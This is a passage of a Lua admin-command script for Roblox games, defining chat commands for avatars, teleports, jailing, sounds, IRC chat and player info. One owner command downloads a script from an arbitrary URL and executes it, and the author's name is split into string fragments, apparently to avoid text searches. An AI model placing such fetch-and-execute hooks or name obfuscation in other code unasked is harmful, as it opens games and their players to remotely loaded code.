  5424. [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
  5425. local Players = STRING:Scan(Arguments[1], Speaker)
  5426. for _,Player in pairs(Players) do
  5427. GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24}, Speaker)
  5428. end
  5429. end};
  5430.  
  5431. [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  5432. local Players = STRING:Scan(Arguments[1], Speaker)
  5433. local AgeList = {}
  5434. for _,Player in pairs(Players) do
  5435. table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
  5436. end
  5437. GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
  5438. end};
  5439.  
  5440. [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
  5441. local Players = STRING:Scan(Arguments[1], Speaker)
  5442. local AgeList = {}
  5443. for _,Player in pairs(Players) do
  5444. table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
  5445. end
  5446. local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
  5447. for _,Player in pairs(SecondPlayers) do
  5448. GUI:ListGui(Player, "Player Ages", AgeList, "Time")
  5449. end
  5450. end};
  5451.  
  5452. [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  5453. local Storage = {{}, {}, {}, {}}
  5454. local StorageText = {}
  5455. local Formatted = {}
  5456. for CommandNames,Data in pairs(Commands) do
  5457. if not Data.Hidden then
  5458. local RankNeeded = RANK:ConvertRank(Data[4])
  5459. local Add = ""
  5460. if Data[4] == "Non-Admin" then Add = "BLACK " end
  5461. if Data[4] == "Admin" then Add = "CYAN " end
  5462. if Data[4] == "Member" then Add = "BLUE " end
  5463. if Data[4] == "Owner" then Add = "BROWN " end
  5464. if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
  5465. local AddBet = Settings.Bet
  5466. if Data[3] <= 0 then AddBet = "" end -- for commands with no args
  5467. local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
  5468. table.insert(Storage[RankNeeded + 1], Add..Text)
  5469. StorageText[Text] = CommandNames
  5470. end
  5471. end
  5472. for Num,_ in pairs(Storage) do
  5473. table.sort(Storage[Num])
  5474. end
  5475. for _,Table in pairs(Storage) do
  5476. for _,Command in pairs(Table) do
  5477. table.insert(Formatted, Command)
  5478. end
  5479. end
  5480. local Clicked,Dialog = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
  5481. Clicked.Event:connect(function(Text)
  5482. GUI:ShowCommand(Speaker, StorageText[Text], Dialog)
  5483. end)
  5484. end};
  5485.  
  5486. [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
  5487. GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
  5488. end};
  5489.  
  5490. [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5491. if GUI:GetColor(Arguments[1]) then
  5492. local ColorScheme = string.upper(Arguments[1])
  5493. if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
  5494. Settings.ColorScheme = ColorScheme
  5495. GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
  5496. else
  5497. GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
  5498. end
  5499. end};
  5500.  
  5501. [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
  5502. local List = {}
  5503. for Color,_ in pairs(Colors) do
  5504. table.insert(List, Color.." "..Color)
  5505. end
  5506. GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
  5507. end};
  5508.  
  5509. [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5510. local Transparency = tonumber(Arguments[1])
  5511. if Transparency then
  5512. if Transparency > 90 then Transparency = 90 end
  5513. if Transparency < 10 then Transparency = 10 end
  5514. Settings.TransparencyScheme = Transparency/100
  5515.  
  5516. GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
  5517. else
  5518. GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
  5519. end
  5520. end};
  5521.  
  5522. [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5523. if Fonts[Arguments[1]] then
  5524. Settings.Font = Arguments[1]
  5525. GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
  5526. end
  5527. end};
  5528.  
  5529. [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5530. Settings.Fun = not Settings.Fun
  5531. GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
  5532. end};
  5533.  
  5534. [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5535. Settings.DisableAbuse = not Settings.DisableAbuse
  5536. GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
  5537. end};
  5538.  
  5539. [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
  5540. local List = {}
  5541. for Font,_ in pairs(Fonts) do
  5542. if Font == Settings.Font then
  5543. table.insert(List, Font.." "..Font.." (CURRENT FONT)")
  5544. else
  5545. table.insert(List, Font.." "..Font)
  5546. end
  5547. end
  5548. GUI:ListGui(Speaker, "Font list", List, 44453197)
  5549. end};
  5550.  
  5551. [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5552. local SoundID = tonumber(Arguments[1])
  5553. if SoundID then
  5554. Settings.ExecuteNotificationSound = SoundID
  5555.  
  5556. GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
  5557. else
  5558. GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
  5559. end
  5560. end};
  5561.  
  5562. [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5563. Settings.ExecuteNotificationSound = 0
  5564. end};
  5565.  
  5566. [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
  5567. local Players = STRING:Scan(Arguments[1], Speaker)
  5568. for _,Player in pairs(Players) do
  5569. CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
  5570. end
  5571. end};
  5572.  
  5573. [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
  5574. local Players = STRING:Scan(Arguments[1], Speaker)
  5575. for _,Player in pairs(Players) do
  5576. CORE:ChangeCharacter(Player, 13416513, false, Speaker)
  5577. end
  5578. end};
  5579.  
  5580. [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
  5581. local Players = STRING:Scan(Arguments[1], Speaker)
  5582. for _,Player in pairs(Players) do
  5583. coroutine.wrap(function()
  5584. CORE:ChangeCharacter(Player, 38837082, false, Speaker)
  5585. wait(1)
  5586. GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
  5587. end)()
  5588. end
  5589. end, Hidden = true};
  5590.  
  5591. [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
  5592. local Players = STRING:Scan(Arguments[1], Speaker)
  5593. for _,Player in pairs(Players) do
  5594. CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
  5595. end
  5596. end};
  5597.  
  5598. [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
  5599. local Players = STRING:Scan(Arguments[1], Speaker)
  5600. for _,Player in pairs(Players) do
  5601. CORE:ChangeName(Player, Arguments[2])
  5602. end
  5603. end};
  5604.  
  5605. [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
  5606. local Players = STRING:Scan(Arguments[1], Speaker)
  5607. for _,Player in pairs(Players) do
  5608. if Player.Character then
  5609. local Head = Player.Character:FindFirstChild("Label")
  5610. if Head then Head:Destroy() end
  5611. local Head = Player.Character:FindFirstChild("Head")
  5612. if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
  5613. end
  5614. end
  5615. end};
  5616.  
  5617. [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
  5618. local Players = STRING:Scan(Arguments[1], Speaker)
  5619. for _,Player in pairs(Players) do
  5620. CORE:ChangeCharacter(Player, 11397, false, Speaker)
  5621. end
  5622. end};
  5623.  
  5624. [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
  5625. local Players = STRING:Scan(Arguments[1], Speaker)
  5626. for _,Player in pairs(Players) do
  5627. local _,RankNum = RANK:GetRank(Player)
  5628. if RankNum <= RANK:ConvertRank(Rank) then
  5629. Server.TS:Teleport(Arguments[2], Player)
  5630. end
  5631. end
  5632. end};
  5633.  
  5634. [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
  5635. local Players = STRING:Scan(Arguments[1], Speaker)
  5636. local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
  5637. if Suc then
  5638. for _,Player in pairs(Players) do
  5639. Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
  5640. end
  5641. else
  5642. GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
  5643. end
  5644. end};
  5645.  
  5646. [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
  5647. local Players = STRING:Scan(Arguments[1], Speaker)
  5648. MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
  5649. local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
  5650. if Suc then
  5651. for _,Player in pairs(Players) do
  5652. Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
  5653. end
  5654. else
  5655. GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
  5656. end
  5657. end)
  5658. end};
  5659.  
  5660. [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
  5661. local Players = STRING:Scan(Arguments[1], Speaker)
  5662. for _,Player in pairs(Players) do
  5663. local _,RankNum = RANK:GetRank(Player)
  5664. if RankNum < RANK:ConvertRank(Rank) then
  5665. Server.TS:Teleport(155307015, Player)
  5666. end
  5667. end
  5668. end};
  5669.  
  5670. [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
  5671. local Players = STRING:Scan(Arguments[1], Speaker)
  5672. for _,Player in pairs(Players) do
  5673. local _,RankNum = RANK:GetRank(Player)
  5674. if RankNum < RANK:ConvertRank(Rank) then
  5675. Server.TS:Teleport(347911447, Player)
  5676. end
  5677. end
  5678. end};
  5679.  
  5680. [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5681. local Players = STRING:Scan(Arguments[1], Speaker)
  5682. for _,Player in pairs(Players) do
  5683. CORE:GenerateShield(Player)
  5684. end
  5685. end};
  5686.  
  5687. [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5688. local Players = STRING:Scan(Arguments[1], Speaker)
  5689. for _,Player in pairs(Players) do
  5690. if Player.Character then
  5691. local Shield = Player.Character:FindFirstChild("Shield")
  5692. if Shield then Shield:Destroy() end
  5693. end
  5694. end
  5695. end};
  5696.  
  5697. [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
  5698. local Num = tonumber(Arguments[1])
  5699. if Num and Num ~= 0 then
  5700. local Random = math.random(1,math.abs(Num))
  5701. if Random == math.random(1,math.abs(Num)) then
  5702. GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
  5703. else
  5704. GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
  5705. end
  5706. else
  5707. GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
  5708. end
  5709. end};
  5710.  
  5711. [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5712. IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
  5713. IRC:AddChat(Speaker.Name, Arguments[1])
  5714. end};
  5715.  
  5716. --[[
  5717. [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5718. local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
  5719. if Res then
  5720. GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
  5721. end
  5722. end, Http = true};
  5723.  
  5724. [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5725. local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
  5726. if Res then
  5727. GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
  5728. end
  5729. end}, Http = true;
  5730. ]]
  5731.  
  5732. [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5733. IRC:Quit("Reconnecting")
  5734. IRC:ConnectToServer(Settings.IRCServer)
  5735. end};
  5736.  
  5737. [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
  5738. local Players = STRING:Scan(Arguments[1], Speaker)
  5739. for _,Player in pairs(Players) do
  5740. local PreAdd = {}
  5741. for _,Data in pairs(IRC.Chats) do
  5742. local Error = nil
  5743. if Rank == "Owner" then Error = Data[3] end
  5744. table.insert(PreAdd, {Data[1], Data[2], Error})
  5745. end
  5746. local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
  5747. IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
  5748. if Rank ~= "Owner" then Error = nil end
  5749. AddMessage:Invoke(UserName, Message, Error)
  5750. end)
  5751. SendPressed.Event:connect(function(Text)
  5752. IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
  5753. IRC:AddChat(Player.Name, Text)
  5754. end)
  5755. end
  5756. end};
  5757.  
  5758. [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5759. local Players = STRING:Scan(Arguments[1], Speaker)
  5760. for _,Player in pairs(Players) do
  5761. local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
  5762. if Type == "Leave" then
  5763. PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
  5764. elseif Type == "Join" then
  5765. PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
  5766. end
  5767. end)
  5768. PriChat.Chatted.Event:connect(function(UserName, Message)
  5769. AddMessage:Invoke(UserName, Message)
  5770. end)
  5771. SendPressed.Event:connect(function(Text)
  5772. PriChat.Chatted:Fire(Player.Name, Text)
  5773. table.insert(PriChat.Chats, {Player.Name, Text})
  5774. end)
  5775. end
  5776. end};
  5777.  
  5778. [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5779. ExecuteSafe(Arguments[1], Speaker)
  5780. end};
  5781.  
  5782. [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5783. local Script = REMOTE:GetURL(Arguments[1], Player)
  5784. if Script then
  5785. ExecuteSafe(Script, Speaker)
  5786. end
  5787. end, Http = true};
  5788.  
  5789. [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
  5790. local Time = tick()
  5791. local Res = REMOTE:GetURL(Arguments[1], Player)
  5792. if Res then
  5793. GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
  5794. end
  5795. end, Http = true};
  5796.  
  5797. [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
  5798. CORE:RemoveAdmin(Speaker)
  5799. end};
  5800.  
  5801. [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
  5802. for _,Player in pairs(Server.Players:GetPlayers()) do
  5803. GUI:SendHint(Player, Arguments[1], nil, Speaker)
  5804. end
  5805. end};
  5806.  
  5807. [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5808. local Players = STRING:Scan(Arguments[1], Speaker)
  5809. local Debt = nil
  5810. for _,Player in pairs(Players) do
  5811. if not Debt then
  5812. Debt = GUI:ShowDebtStats(Player)
  5813. else
  5814. GUI:ShowDebtStats(Player, Debt)
  5815. end
  5816. end
  5817. end, Http = true};
  5818.  
  5819. [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5820. local Players = STRING:Scan(Arguments[1], Speaker)
  5821. for _,Player in pairs(Players) do
  5822. GUI:CreateHUD(Player)
  5823. end
  5824. end};
  5825.  
  5826. [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
  5827. local Players = STRING:Scan(Arguments[1], Speaker)
  5828. for _,Player in pairs(Players) do
  5829. if Player:FindFirstChild("PlayerGui") then
  5830. local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
  5831. if HUD then HUD:Destroy() end
  5832. end
  5833. end
  5834. end};
  5835.  
  5836. [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
  5837. local Players = STRING:Scan(Arguments[1], Speaker)
  5838. GUI:Vote(Speaker, Players, Arguments[2], 30)
  5839. end};
  5840.  
  5841. [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
  5842. local Players = STRING:Scan(Arguments[1], Speaker)
  5843. for _,Player in pairs(Players) do
  5844. CORE:ExecuteResource("Bomb", Player.Character)
  5845. end
  5846. end};
  5847.  
  5848. [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
  5849. local Players = STRING:Scan(Arguments[1], Speaker)
  5850. for _,Player in pairs(Players) do
  5851. CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
  5852. CORE:RestoreCamera(Player)
  5853. end
  5854. end};
  5855.  
  5856. [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
  5857. CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
  5858. CORE:RestoreCamera(Speaker)
  5859. end};
  5860.  
  5861. [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
  5862. local Players1 = STRING:Scan(Arguments[1], Speaker)
  5863. local Players2 = STRING:Scan(Arguments[2], Speaker)
  5864. for _,Player1 in pairs(Players1) do
  5865. if Player1.Character and Player1.Character:FindFirstChild("Torso") then
  5866. for _,Player2 in pairs(Players2) do
  5867. if Player2.Character and Player2.Character:FindFirstChild("Torso") then
  5868. Player1.Character:MoveTo(Player2.Character.Torso.Position)
  5869. end
  5870. end
  5871. end
  5872. end
  5873. end};
  5874.  
  5875. [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
  5876. local Players = STRING:Scan(Arguments[1], Speaker)
  5877. for _,Player in pairs(Players) do
  5878. Player:LoadCharacter()
  5879. end
  5880. end};
  5881.  
  5882. [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
  5883. local Players = STRING:Scan(Arguments[1], Speaker)
  5884. for _,Player in pairs(Players) do
  5885. CORE:RestoreCamera(Player)
  5886. end
  5887. end};
  5888.  
  5889. [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5890. local Players = STRING:Scan(Arguments[1], Speaker)
  5891. for _,Player in pairs(Players) do
  5892. CORE:Jail(Player)
  5893. end
  5894. end};
  5895.  
  5896. [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5897. local Players = STRING:Scan(Arguments[1], Speaker)
  5898. for _,Player in pairs(Players) do
  5899. CORE:UnJail(Player)
  5900. end
  5901. end};
  5902.  
  5903. [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
  5904. SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
  5905. end};
  5906.  
  5907. [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
  5908. SOUND:StopSpeaking()
  5909. end};
  5910.  
  5911. [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
  5912. local Players = STRING:Scan(Arguments[1], Speaker)
  5913. local Compile = {}
  5914. for Num,Player in pairs(Players) do
  5915. local PlayerRank = RANK:GetRank(Player)
  5916. local PlayerInfo = ClientInfo[Player.Name]
  5917. table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
  5918. table.insert(Compile, "User ID: "..Player.UserId)
  5919. table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
  5920. table.insert(Compile, "Rank: "..PlayerRank)
  5921.  
  5922. if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
  5923. if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
  5924. if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
  5925. if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
  5926. if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
  5927. if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
  5928. if PlayerInfo.Benchmark then
  5929. table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
  5930. end
  5931. if Num ~= #Players then table.insert(Compile, "-----------------------------") end
  5932. end
  5933. GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
  5934. end};
  5935.  
  5936. [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
  5937. if tonumber(Arguments[2]) then
  5938. local Players = STRING:Scan(Arguments[1], Speaker)
  5939. for _,Player in pairs(Players) do
  5940. coroutine.wrap(function()
  5941. if Player.Character then
  5942. table.insert(LoopKills, Player.Name)
  5943. local Loop = nil
  5944. local PrevChar = nil
  5945.  
  5946. for i = 1,tonumber(Arguments[2]) do
  5947. local Char = Player.Character
  5948. if PrevChar and PrevChar ~= Char then
  5949. PrevChar:Destroy()
  5950. end
  5951. PrevChar = Char
  5952. local CanDie = true
  5953. for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
  5954. if CanDie == false then
  5955. break
  5956. end
  5957. ypcall(function() Char.Parent = Server.Lighting end)
  5958. wait(0.1)
  5959. ypcall(function() Char.Parent = Server.Workspace end)
  5960. wait(0.1)
  5961. end
  5962. end
  5963. end)()
  5964. end
  5965. else
  5966. GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
  5967. end
  5968. end};
  5969.  
  5970. [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  5971. local Players = STRING:Scan(Arguments[1], Speaker)
  5972. for _,Player in pairs(Players) do
  5973. for Num,Name in pairs(LoopKills) do
  5974. if Player.Name == Name then
  5975. table.remove(LoopKills, Num)
  5976. end
  5977. end
  5978. end
  5979. end};
  5980.  
  5981. [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
  5982. SOUND:PlayGlobalSound(Arguments[1])
  5983. end};
  5984.  
  5985. [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
  5986. SOUND:StopGlobalSound()
  5987. SOUND:ClearInfo()
  5988. end};
  5989.  
  5990. [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
  5991. local Pitch = tonumber(Arguments[1])
  5992. if not Pitch then Pitch = 1 end
  5993. if Sound then
  5994. Sound.Pitch = Pitch
  5995. end
  5996. end};
  5997.  
  5998. [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
  5999. local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
  6000. local Items = MARKET:SearchItem(9, Arguments[1])
  6001. if Items then
  6002. if #Items ~= 0 then
  6003. local List,Correlate = {},{}
  6004. for Num,Info in pairs(Items) do
  6005. local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
  6006. table.insert(List, Display)
  6007. Correlate[Display] = Info.AssetId
  6008. end
  6009. CloseGui:Invoke()
  6010.  
  6011. local CanClick = true
  6012. if Rank == "Member" then CanClick = false end
  6013. local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
  6014. Clicked.Event:connect(function(ClickName)
  6015. local OldSoundId = nil
  6016. SOUND:StopGlobalSound()
  6017. if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
  6018. SOUND:PlayGlobalSound(Correlate[ClickName])
  6019. end
  6020. end)
  6021. else
  6022. CloseGui:Invoke()
  6023. GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
  6024. end
  6025. else
  6026. CloseGui:Invoke()
  6027. GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
  6028. end
  6029. end, Http = true};
